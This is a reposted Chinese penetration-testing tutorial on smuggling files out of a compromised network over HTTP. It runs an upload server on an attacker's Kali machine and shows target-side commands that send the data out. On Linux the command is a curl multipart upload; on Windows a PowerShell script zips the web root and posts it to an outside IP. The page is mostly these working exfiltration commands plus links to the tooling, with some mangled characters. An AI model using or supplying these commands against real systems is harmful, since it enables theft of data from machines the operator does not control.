分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 技术分享

HTTP传文件出网

发布时间:2023-09-06 01:45责任编辑:顾先生关键词:暂无标签

在外网机器上运行文件服务接收服务

root@kali:~/pentest-script/FileTransfer/HttpServer# python3 SimpleHttpUpload.py Serving HTTP on 0.0.0.0 port 8000 ...(True, "File ‘/root/pentest-script/FileTransfer/HttpServer/mo.zip‘ upload success!", ‘by: ‘, (‘127.0.0.1‘, 41170))127.0.0.1 - - [09/Mar/2018 08:27:55] "POST / HTTP/1.1" 200 -

SimpleHTTPUpload.py

https://github.com/xiaoxiaoleo/pentest-script/blob/master/FileTransfer/HttpServer/SimpleHttpUpload.py

1. 如果是Linux在目标机器上执行CURL发送文件

root@kali:~/Desktop# zip test.zip test.txt ??adding: test.txt (deflated 57%)root@kali:~/Desktop# curl ??-F file=@/root/Desktop/test.zip ?http://127.0.0.1:8000/ 

2. 如果是windows机器, 可以使用Powershell上传文件

zip.exe -r temp.zip ?wwwroot $fileName = "temp.zip"$uri = "http://192.168.224.129:8000/"$currentPath = Convert-Path .$filePath="$currentPath\$fileName"$fileBin = [System.IO.File]::ReadAlltext($filePath)$bodyLines = ("------------------------83cdc2d56002d24a","Content-Disposition: form-data; name=`"file`"; filename=`"$fileName`"","Content-Type: application/octet-stream;",$fileBin,"--------------------------83cdc2d56002d24a--$LF" ) -join ?"`r`n"Invoke-RestMethod -Uri $uri -Method Post -ContentType "multipart/form-data; boundary=------------------------83cdc2d56002d24a" -Body $bodyLines
zip.exe https://github.com/xiaoxiaoleo/pentest-script/blob/6aadc3b7a4922f97015c309217feb239e179a995/bat/cmd%E5%8E%8B%E7%BC%A9%E8%A7%A3%E5%8E%8B/zip.exe

首发于t00ls

HTTP传文件出网

原文地址:https://www.cnblogs.com/xiaoxiaoleo/p/8531939.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved